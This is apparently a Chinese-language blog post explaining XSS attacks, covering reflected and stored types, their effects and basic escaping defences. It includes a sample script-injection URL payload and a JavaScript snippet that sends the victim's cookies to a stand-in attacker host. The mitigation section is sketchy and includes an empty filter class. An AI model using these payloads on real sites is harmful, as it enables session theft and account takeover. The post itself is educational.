XSS 攻击

参考:https://www.cnblogs.com/shawWey/p/8480452.html

 

1. 概述

  XSS 攻击是 Web 攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效的 XSS 攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户日志等等,有时还和其他攻击方式同时实施,比如 SQL 注入攻击服务器和数据库,Click 劫持、相对连接劫持等实施钓鱼,它带来的危害是巨大的,是 web 安全的头号大敌。

 

2. 攻击的条件

  实施 XSS 攻击需要具备两个条件:

  1)需要向 web 页面注入恶意代码;

  2)这些恶意代码能够被浏览器成功的执行。

 

  如: http://www.xxx.com/?id=" /><script>alert(/xss/)</script><br x="

  最终反射出来的 HTML 代码:

  <div>

    <img src="" /><script>alert(/xss/)</script><br x="" />

  <div>

 

3. 根据 XSS 攻击的效果可以分为几种类型

  1)XSS 反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。

  2)XSS 存储型攻击,恶意代码被保存到目标网站的服务器 中,这种攻击具有较强的稳定性和持久性,比较常见场景是在博客、论坛等社交网站上。

 

4. XSS 攻击能做些什么

  1)窃取 cookies,读取目标网站的 cookie 发送到黑客的服务器上,如下面的代码:

var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;

 

  2)读取用户未公开的资料,如:邮件列表或者内容、系统的客户资料,联系人列表等

 

5. 解决方法

  一种是在表单提交或者 url 参数传递前,对需要的参数进行过滤,请看如下 XSS 过滤代码

  public class XssFiter implements Filter {}

  另一种是过滤用户输入的,检查用户输入的内容中是否有非法内容,如 <> (尖括号)、" (引号)、'(单引号)、%(百分号)、;(分号)、&、+ 等,严格控制输出

  可以利用下面这些函数对可疑参数处理

  htmlspecialchars() 用于转义处理在页面上显示的文本

  htmlentities() 用于转义处理在页面上显示的文本

  strip_tag()  过滤输入输出里面的恶意标签

  header()  header("Content-type:application/json"); 用于控制 json 数据的头部,不用于浏览器

  urlencode() 用于输出处理字符型参数带入页面链接中

  intval() 用于处理数值型参数输出在页面中

  (这些方法都没见过。。。)

 

posted @ 2020-10-19 17:29  停不下的时光  阅读(242)  评论(0编辑  收藏  举报